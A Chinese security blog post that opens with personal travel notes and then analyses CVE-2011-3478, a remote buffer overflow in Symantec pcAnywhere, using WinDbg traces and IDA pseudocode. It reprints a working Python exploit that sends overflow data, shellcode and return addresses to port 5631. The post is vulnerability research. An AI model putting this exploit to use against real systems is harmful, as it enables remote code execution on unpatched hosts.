[博客搬家啦!]CVE-2011-3478 Symantec pcAnywhere远程代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top

6月20日结束了新疆的行程,随后对博客进行了搬家,由于Farbox马上要停止付费服务,以后Farbox团队的重心也从Farbox转移到Bitcron,所以我也将博客从Farbox转移到了Bitcron,Bitcron增加了一些服务,以后再慢慢增加功能,整体风格维持不变。

下面我先晒几张去旅游的照片,新疆真的很美,同时推荐大家去新疆这种地方旅游的时候,最好跟朋友一起,我们是跟的天行户外俱乐部,都是爱旅游的户外爱好者组织的,推荐天行,非常靠谱,天行的领队是我父亲的好友,人也非常好,大家玩的非常开心。

这次路线从乌鲁木齐出发,先后去了赛里木湖,特克斯八卦城,乌尔禾,白哈巴,喀纳斯,禾木,一路风景非常壮美!

下面进入这次漏洞分析


漏洞说明


PoC:

#!/usr/bin/python
 
# Exploit Title: Symantec PcAnywhere login and password field buffer overflow
# Date: 2012.06.27
# Author: S2 Crew [Hungary]
# Software Link: symantec.com
# Version: 12.5.0
# Tested on: Windows XP SP2
# CVE: CVE-2011-3478 
  
#EDB Note: Needs adjustment but there is a crash
 
# Code :
import socket
import time
import struct
import string
import sys
 
shell = (
"\xda\xda\xbb\x9e\x7f\xfb\x04\xd9\x74\x24\xf4\x58\x2b\xc9"
"\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xc0\x9a\x9d\x0e\xf8"
"\x4a\xe8\xf1\x01\x8a\x8b\x78\xe4\xbb\x99\x1f\x6c\xe9\x2d"
"\x6b\x20\x01\xc5\x39\xd1\x92\xab\x95\xd6\x13\x01\xc0\xd9"
"\xa4\xa7\xcc\xb6\x66\xa9\xb0\xc4\xba\x09\x88\x06\xcf\x48"
"\xcd\x7b\x3f\x18\x86\xf0\xed\x8d\xa3\x45\x2d\xaf\x63\xc2"
"\x0d\xd7\x06\x15\xf9\x6d\x08\x46\x51\xf9\x42\x7e\xda\xa5"
"\x72\x7f\x0f\xb6\x4f\x36\x24\x0d\x3b\xc9\xec\x5f\xc4\xfb"
"\xd0\x0c\xfb\x33\xdd\x4d\x3b\xf3\x3d\x38\x37\x07\xc0\x3b"
"\x8c\x75\x1e\xc9\x11\xdd\xd5\x69\xf2\xdf\x3a\xef\x71\xd3"
"\xf7\x7b\xdd\xf0\x06\xaf\x55\x0c\x83\x4e\xba\x84\xd7\x74"
"\x1e\xcc\x8c\x15\x07\xa8\x63\x29\x57\x14\xdc\x8f\x13\xb7"
"\x09\xa9\x79\xd0\xfe\x84\x81\x20\x68\x9e\xf2\x12\x37\x34"
"\x9d\x1e\xb0\x92\x5a\x60\xeb\x63\xf4\x9f\x13\x94\xdc\x5b"
"\x47\xc4\x76\x4d\xe7\x8f\x86\x72\x32\x1f\xd7\xdc\xec\xe0"
"\x87\x9c\x5c\x89\xcd\x12\x83\xa9\xed\xf8\xb2\xed\x23\xd8"
"\x97\x99\x41\xde\x06\x06\xcf\x38\x42\xa6\x99\x93\xfa\x04"
"\xfe\x2b\x9d\x77\xd4\x07\x36\xe0\x60\x4e\x80\x0f\x71\x44"
"\xa3\xbc\xd9\x0f\x37\xaf\xdd\x2e\x48\xfa\x75\x38\x71\x6d"
"\x0f\x54\x30\x0f\x10\x7d\xa2\xac\x83\x1a\x32\xba\xbf\xb4"
"\x65\xeb\x0e\xcd\xe3\x01\x28\x67\x11\xd8\xac\x40\x91\x07"
"\x0d\x4e\x18\xc5\x29\x74\x0a\x13\xb1\x30\x7e\xcb\xe4\xee"
"\x28\xad\x5e\x41\x82\x67\x0c\x0b\x42\xf1\x7e\x8c\x14\xfe"
"\xaa\x7a\xf8\x4f\x03\x3b\x07\x7f\xc3\xcb\x70\x9d\x73\x33"
"\xab\x25\x83\x7e\xf1\x0c\x0c\x27\x60\x0d\x51\xd8\x5f\x52"
"\x6c\x5b\x55\x2b\x8b\x43\x1c\x2e\xd7\xc3\xcd\x42\x48\xa6"
"\xf1\xf1\x69\xe3"
)
init1 = (
"\x00\x00\x00\x00" # kezdeti handshake
)
 
init2 = (
"\x0d\x06\xfe" # Enter username uzenet koveti (NTdialog)
)
 
init3 = (
"A" * 100 #+ "\r" #username
)
 
readable_xp_sp2 = struct.pack('<L',0x023E5AD0)
call_esi = struct.pack('<L',0x67f7aac4)
jmp = struct.pack('<L',0x414112EB)
 
init4 = (
"B" * 1282 + jmp + readable_xp_sp2 + "DDDD" +call_esi + "AAAA" + shell + "E" * (4000 - 1286 - 12 - len(shell))
)
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('172.16.29.133',5631)) # hardcoded IP address
 
print "init packet..."
s.send(init1) # send the data
time.sleep(5)
data = s.recv(1024)
 
print "handshake packet..."
s.send(init2) # send the data
time.sleep(5)
data = s.recv(1024)
 
print "username packet..."
s.send(init3) # send the data
time.sleep(5)
#data = s.recv(1024)
 
print "password packet..."
s.send(init4) # send the data
s.close()

软件需要自行下载,CVE编号是CVE-2011-3478,下载之后运行Symantec pcAnywhere,然后运行PoC,当然发送的数据包含了shellcode,其实可以直接修改shellcode为畸形字符串,引发崩溃。


漏洞复现


PcAnyWhere是一款类似于黑客远控的软件,网上称之为远程管理软件,软件较大,但不影响我们的定位和分析,在分析的过程中,动态链接库的全部功能并没有进行仔细的分析,以下只提到动态链接库和此漏洞有关的核心功能。

AWSES32.dll是PcAnyWhere中负责客户端回弹时一些解密和校验的动态链接库,AWHLOGON.dll对传输数据进行具体处理的动态链接库(这里暂时指本文相关的密码部分),AWDS32.dll则是通信传输操作的动态链接库,在整个漏洞过程中,由于对传输过来密码部分数据没有进行严格的检查,在对密码进行处理的过程中,由于调用strncat函数,导致空字符错误引发异常,导致代码执行,接下来对此漏洞进行详细分析。

首先运行远控程序,会提示正在等待连接,这时候运行PoC,在进行初始化交互之后,发送Password,附加windbg,程序崩溃,到达漏洞现场。

eax=7efefefe ebx=00000fa3 ecx=0000018e edx=45454545 esi=01ac3a24 edi=028e5fff
eip=78180164 esp=01ebf940 ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCR80.dll - 
MSVCR80!strncat+0xd4:
78180164 8917            mov     dword ptr [edi],edx  ds:0023:028e5fff=00000000
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Symantec\pcAnywhere\AWSES32.dll - 

此时正处于strncat函数中,而由于edi中存放的值为\x00,也就是空字符,从而导致了异常,引发windbg中断,接下来通过kb查看一下调用情况。

0:006> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
01ebff00 004a731a 00c1d228 01ac30b7 00000fa4 MSVCR80!strncat+0xd4
01ebff2c 004a775d 01ac30b7 00000008 7c80a0ed AWSES32!CAction::Buf+0x20a
01ebffac 78132a36 00000228 7c80b713 00c1e8f0 AWSES32!CAction::CAction+0x3cd
01ebffec 00000000 781329d0 00c1e8f0 00000000 MSVCR80!endthreadex+0xc7

可以看到这里主要调用的是AWSES32.dll中的函数,接下来看一下此时栈中的情况。

0:006> dd esp
01ebf940  01ac30b7 01ae2c30 00c1d228 028d5e92
01ebf950  028e5560 01ac30b7 00000fa4 d93901f1
01ebf960  00c1e5c0 00c1d228 01ac30b7 0100007f
01ebf970  01ad1570 00000fa4 00000301 00000000
01ebf980  00000000 00000000 00000000 00000000
01ebf990  00000000 00000000 0d000000 5043540b
01ebf9a0  0050492f 00000000 00000000 00000000
01ebf9b0  00000000 00000000 00000000 00000000
0:006> dd 01ac30b7
01ac30b7  42424242 42424242 42424242 42424242
01ac30c7  42424242 42424242 42424242 42424242
01ac30d7  42424242 42424242 42424242 42424242
01ac30e7  42424242 42424242 42424242 42424242
01ac30f7  42424242 42424242 42424242 42424242
01ac3107  42424242 42424242 42424242 42424242
01ac3117  42424242 42424242 42424242 42424242
01ac3127  42424242 42424242 42424242 42424242

第一个参数已经被大量畸形字符串填充了,接下来就通过刚才kb回溯的地方入手,来分析整个漏洞形成的流程。

今后包括以后的漏洞分析,我不再详述回溯的过程,因为枯燥且无聊,以后只会提及回溯思路,会直接从引发漏洞的源头开始讲起。


漏洞分析


想要知道漏洞原因,需要根据PoC,漏洞简述以及方方面面思考漏洞可能经历的流程,首先PoC涉及socket函数,那么就需要接收和读取传输的数据,经过回溯,发现01ac9058附近缓冲区会用来存放畸形字符串,在这里下内存写入断点。

ba w1 01ac9058

执行后程序中断。

Breakpoint 1 hit
eax=00000000 ebx=0017f990 ecx=00000fa3 edx=00000000 esi=00180100 edi=01ac9059
eip=005e2577 esp=01dbfe50 ebp=01dbfe60 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
AWDS32!sdsp_read+0x90:
005e2577 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:005> dd edi
01ac9059  00000000 00000000 00000000 00000000
01ac9069  00000000 00000000 00000000 00000000
01ac9079  00000000 00000000 00000000 00000000
01ac9089  00000000 00000000 00000000 00000000
01ac9099  00000000 00000000 00000000 00000000
01ac90a9  00000000 00000000 00000000 00000000
01ac90b9  00000000 00000000 00000000 00000000
01ac90c9  00000000 00000000 00000000 00000000

可以看到,此时终端在AWDS32.dll的sdsp_read函数附近,正在执行一个内存拷贝操作,类似于strcpy,接下来通过gu命令直接执行到返回。再次观察01ac9058位置。

0:005> gu
eax=00000fa4 ebx=0017f990 ecx=00000000 edx=0017fa54 esi=0017f990 edi=ffffa068
eip=005e27fa esp=01dbfe74 ebp=01dbfe80 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
AWDS32!ds_read+0x4d:
005e27fa 0bc0            or      eax,eax
0:005> dd esp
01dbfe74  00005f98 ffffa068 00c1e5c0 01dbff38
01dbfe84  004a6f25 0017f990 01ac9058 00005f98
01dbfe94  01dbfea4 00c1e5c0 00000000 00000000
01dbfea4  00000000 004a824b 01ac30b7 00000000
01dbfeb4  00005f98 3d5a3d63 00000020 00005f98
01dbfec4  00c1e6d0 00000000 00000000 00000010
01dbfed4  fff0bdc0 ffffffff 0000010c 7ffde000
01dbfee4  7ffd8000 80511b2b 00000000 01dbfea0
0:005> dd 01ac9058
01ac9058  42424242 42424242 42424242 42424242
01ac9068  42424242 42424242 42424242 42424242
01ac9078  42424242 42424242 42424242 42424242
01ac9088  42424242 42424242 42424242 42424242
01ac9098  42424242 42424242 42424242 42424242
01ac90a8  42424242 42424242 42424242 42424242

已经被覆盖了畸形字符串,再次返回到外层函数。

.text:10006EF7 loc_10006EF7:                           ; CODE XREF: sub_10006E80+26j
.text:10006EF7                 mov     ecx, [esi+0F4h]
.text:10006EFD                 lea     eax, [esp+10h+var_4]
.text:10006F01                 push    eax
.text:10006F02                 push    ebx
.text:10006F03                 push    ecx
.text:10006F04                 mov     ecx, esi        ; this
.text:10006F06                 mov     dword ptr [esi+100h], 0
.text:10006F10                 mov     dword ptr [esi+0FCh], 0
.text:10006F1A                 call    ?SDSPCtlBlk@CSessByteQueue@@IAEPADXZ ; CSessByteQueue::SDSPCtlBlk(void)
.text:10006F1F                 push    eax
.text:10006F20                 call    ds_read

在AWSES32.dll中地址10006F20位置的ds_read就是读取畸形字符串的关键函数,在这里会接收并读取畸形字符串,但并没有对长度及合法性进行检查,接下来单步执行。

0:005> g
Breakpoint 1 hit
eax=01ac9058 ebx=00005f98 ecx=01ac30b7 edx=ffffb00c esi=00c1e5c0 edi=00000fa4
eip=004a6fa5 esp=01dbfe8c ebp=01dbff38 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
AWSES32!CSessByteQueue::SDSPCtlBlk+0x275:
004a6fa5 e81a3f0000      call    AWSES32!CAWSvcMgr::RemoveService+0x634 (004aaec4)

在地址004a6fa5地址处会执行一处call调用,这里要说明一下,IDA和Windbg加载时地址不太相同,但所指的确实一个位置,这个偏移是相同的,需要和实际环境的基址想加才能得到最后的结果。

看一下call调用时esp的情况。

0:005> dd esp
01dbfe8c  01ac30b7 01ac9058 00000fa4 00c1e5c0
01dbfe9c  00000000 00000000 00000fa4 004a824b
01dbfeac  01ac30b7 00000000 00000fa4 d2a6dcb2
01dbfebc  00000020 00005f98 00c1e6d0 00000000
01dbfecc  00000000 00000010 fff0bdc0 ffffffff
01dbfedc  b1cf2c9c 7ffd8000 7ffda000 00000000
01dbfeec  00000000 01dbfea0 00000002 00000003
01dbfefc  01dbfe94 804fcd02 01dbff9c 7c839ac0
0:005> dd 01ac9058
01ac9058  42424242 42424242 42424242 42424242
01ac9068  42424242 42424242 42424242 42424242
01ac9078  42424242 42424242 42424242 42424242
01ac9088  42424242 42424242 42424242 42424242
01ac9098  42424242 42424242 42424242 42424242
01ac90a8  42424242 42424242 42424242 42424242
01ac90b8  42424242 42424242 42424242 42424242
01ac90c8  42424242 42424242 42424242 42424242
0:005> dd 01ac30b7
01ac30b7  00000000 00000000 00000000 00000000
01ac30c7  00000000 00000000 00000000 00000000
01ac30d7  00000000 00000000 00000000 00000000
01ac30e7  00000000 00000000 00000000 00000000
01ac30f7  00000000 00000000 00000000 00000000
01ac3107  00000000 00000000 00000000 00000000
01ac3117  00000000 00000000 00000000 00000000

接下来在01ac30b7的位置下写入断点,观察执行情况。

eax=00000042 ebx=00005f98 ecx=00000fa3 edx=00000003 esi=01ac9058 edi=01ac30b7
eip=78144dce esp=01dbfe7c ebp=01dbfe84 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCR80.dll - 
MSVCR80!memcpy+0xee:
78144dce 83c601          add     esi,1

0:005> dd 01ac30b7
01ac30b7  00000042 00000000 00000000 00000000
01ac30c7  00000000 00000000 00000000 00000000
01ac30d7  00000000 00000000 00000000 00000000
01ac30e7  00000000 00000000 00000000 00000000
01ac30f7  00000000 00000000 00000000 00000000
01ac3107  00000000 00000000 00000000 00000000
01ac3117  00000000 00000000 00000000 00000000
01ac3127  00000000 00000000 00000000 00000000

可以发现,进入函数内部后会调用memcpy函数,而这里会在01ac30b7写入一个字节42,这个42就是畸形字符串的内容,当函数执行完成后,01ac30b7会填充大量畸形字符串。

其实这里是一处memcpy,这次memcpy之后,会将刚才ds_read读取到的畸形字符串全部拷贝到01ac30b7的缓冲区空间中,而到此时,仍然没有进行任何的限制和检查。

以上是读取拷贝畸形字符串的核心代码,通过IDA可以查看伪代码。关键部分已经用key!!!标注出来了。

    v11 = CSessByteQueue::SDSPCtlBlk(this);
    v12 = ds_read(v11, v10, v9, &v17);//key!!!
    if ( v12 < 0 && ((*(int (__thiscall **)(CSessByteQueue *, int))(*(_DWORD *)v5 + 64))(v5, v12) < 0 || !v17) )
      return -307;
    v13 = *((_DWORD *)v5 + 58);
    a4 = v17;
    if ( Crypto::Decrypt((Crypto *)(v13 + 144), *((unsigned __int8 **)v5 + 61), (unsigned __int32 *)&a4) )
      return -307;
    v14 = a4;
    v16 = __OFSUB__(v4, a4);
    v15 = ((v4 - a4) & 0x80000000) != 0;
    v17 = a4;
    *((_DWORD *)v5 + 63) = a4 - v4;
    if ( v15 ^ v16 )
      v14 = v4;
    if ( v14 > *((_DWORD *)v5 + 62) )
      v14 = *((_DWORD *)v5 + 62);
    memcpy(a2, *((const void **)v5 + 61), v14);//key!!!!

函数接下来继续执行,会到达漏洞触发的关键函数位置。

0:006> g
Breakpoint 0 hit
eax=028d5cf0 ebx=01ac3053 ecx=155e2b79 edx=00c1e670 esi=00c1d228 edi=00c1e5c0
eip=004a7318 esp=01ebff08 ebp=00000064 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
AWSES32!CAction::Buf+0x208:
004a7318 ffd0            call    eax {AWHLOGON!LogonFlowFunc (028d5cf0)}
0:006> g
Breakpoint 0 hit
eax=028d5cf0 ebx=01ac30b7 ecx=155e2b79 edx=00c1e670 esi=00c1d228 edi=00c1e5c0
eip=004a7318 esp=01ebff08 ebp=00000fa4 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
AWSES32!CAction::Buf+0x208:
004a7318 ffd0            call    eax {AWHLOGON!LogonFlowFunc (028d5cf0)}
0:006> g
(d3c.d60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=00000fa3 ecx=00000174 edx=45454545 esi=01ac3a8c edi=028e5fff
eip=78180164 esp=01ebf940 ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCR80.dll - 
MSVCR80!strncat+0xd4:
78180164 8917            mov     dword ptr [edi],edx  ds:0023:028e5fff=00000000

在004a7318单步步过后到达漏洞现场,进入此函数之前可以观察一下函数的参数情况。

0:006> dd esp
01ebff08  00c1d228 01ac30b7 00000fa4 00000fa4
01ebff18  00000000 00c1e5c0 01ebffac 00007530
01ebff28  00000000 01ebffac 004a775d 01ac30b7
01ebff38  00000008 7c80a0ed 00c1e5c0 004a88b2
01ebff48  01ac30b7 00000fa4 00000020 00000228
01ebff58  01ebffac 00c1e8f0 01ebffac 78132d8a
01ebff68  000001f8 000001dc 000001c8 004a71eb
01ebff78  781329aa 00c1e5c0 44570548 00000020
0:006> dd 01ac30b7
01ac30b7  42424242 42424242 42424242 42424242
01ac30c7  42424242 42424242 42424242 42424242
01ac30d7  42424242 42424242 42424242 42424242
01ac30e7  42424242 42424242 42424242 42424242
01ac30f7  42424242 42424242 42424242 42424242
01ac3107  42424242 42424242 42424242 42424242
01ac35a7  42424242 42424242 42424242 42424242
01ac35b7  12eb4242 5ad04141 4444023e aac44444

可以看到第二个参数正是刚才读取到的畸形字符串的内容,接下来进入这个函数,单步执行,不就会到达一处循环。

0:006> p
eax=028e5569 ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e52 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AWHLOGON!LogonFlowFunc+0x162:
028d5e52 83c001          add     eax,1
0:006> p
eax=028e556a ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e55 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AWHLOGON!LogonFlowFunc+0x165:
028d5e55 84c9            test    cl,cl
0:006> p
eax=028e556a ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e57 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AWHLOGON!LogonFlowFunc+0x167:
028d5e57 75f7            jne     AWHLOGON!LogonFlowFunc+0x160 (028d5e50) [br=1]
0:006> p
eax=028e556a ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e50 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AWHLOGON!LogonFlowFunc+0x160:
028d5e50 8a08            mov     cl,byte ptr [eax]          ds:0023:028e556a=41
0:006> p
eax=028e556a ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e52 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AWHLOGON!LogonFlowFunc+0x162:
028d5e52 83c001          add     eax,1
0:006> p
eax=028e556b ebx=01ac30b7 ecx=00c18841 edx=028e5561 esi=01ae2c30 edi=00c1d228
eip=028d5e55 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
AWHLOGON!LogonFlowFunc+0x165:
028d5e55 84c9            test    cl,cl
0:006> dd eax
028e556b  41414141 41414141 41414141 41414141
028e557b  41414141 41414141 41414141 41414141
028e558b  41414141 41414141 41414141 41414141
028e559b  41414141 41414141 41414141 41414141
028e55ab  41414141 41414141 41414141 41414141
028e55bb  41414141 41414141 41414141 00000041

在这处循环执行结束之后,就到达strncat现场了。

0:006> p
eax=00000fa4 ebx=01ac30b7 ecx=00c12c20 edx=028e5500 esi=01ae2c30 edi=00c1d228
eip=028d5e85 esp=01ebf95c ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AWHLOGON!LogonFlowFunc+0x195:
028d5e85 50              push    eax
0:006> p
eax=00000fa4 ebx=01ac30b7 ecx=00c12c20 edx=028e5500 esi=01ae2c30 edi=00c1d228
eip=028d5e86 esp=01ebf958 ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AWHLOGON!LogonFlowFunc+0x196:
028d5e86 53              push    ebx
0:006> p
eax=00000fa4 ebx=01ac30b7 ecx=00c12c20 edx=028e5500 esi=01ae2c30 edi=00c1d228
eip=028d5e87 esp=01ebf954 ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AWHLOGON!LogonFlowFunc+0x197:
028d5e87 6860558e02      push    offset AWHLOGON!CLoadLocalResources::operator=+0xebb0 (028e5560)
0:006> p
eax=00000fa4 ebx=01ac30b7 ecx=00c12c20 edx=028e5500 esi=01ae2c30 edi=00c1d228
eip=028d5e8c esp=01ebf950 ebp=01ebff00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AWHLOGON!LogonFlowFunc+0x19c:
028d5e8c ff15d0f18d02    call    dword ptr [AWHLOGON!CLoadLocalResources::operator=+0x8820 (028df1d0)] ds:0023:028df1d0={MSVCR80!strncat (78180090)}

到达现场时,观察一下参数情况。

0:006> dd esp
01ebf950  028e5560 01ac30b7 00000fa4 5f39dea0
01ebf960  00c1e5c0 00c1d228 01ac30b7 0100007f
01ebf970  01ad1570 00000fa4 00000301 00000000
01ebf980  00000000 00000000 00000000 00000000
01ebf990  00000000 00000000 0d000000 5043540b
01ebf9a0  0050492f 00000000 00000000 00000000
01ebf9b0  00000000 00000000 00000000 00000000
01ebf9c0  00000000 00000000 00000000 00000000
0:006> dd 01ac30b7
01ac30b7  42424242 42424242 42424242 42424242
01ac30c7  42424242 42424242 42424242 42424242
01ac30d7  42424242 42424242 42424242 42424242
01ac30e7  42424242 42424242 42424242 42424242
01ac30f7  42424242 42424242 42424242 42424242
01ac3107  42424242 42424242 42424242 42424242
01ac3117  42424242 42424242 42424242 42424242
01ac3127  42424242 42424242 42424242 42424242

果然畸形字符串在这里被调用,而此时畸形字符串包含了字符阶段的\x00,就引发了空字符错误,从而进入异常处理,引发代码执行。

Comments
Write a Comment
  • 文雨 reply

    顺便说一下,没找到rss的输出啊

    • K0Pwn_0110 reply

      @文雨 已经增加了RSS订阅,感谢提醒

  • K0Pwn_0110 reply

    @文雨 不好意思..忘了加,马上加

  • 文雨 reply

    https://whereisk0shl.top/feed

    打开时候提示错误

    This page contains the following errors:

    error on line 1757 at column 107: PCDATA invalid Char value 24

    Below is a rendering of the page up to the first error.

    • K0Pwn_0110 reply

      @文雨 再看一下,应该好了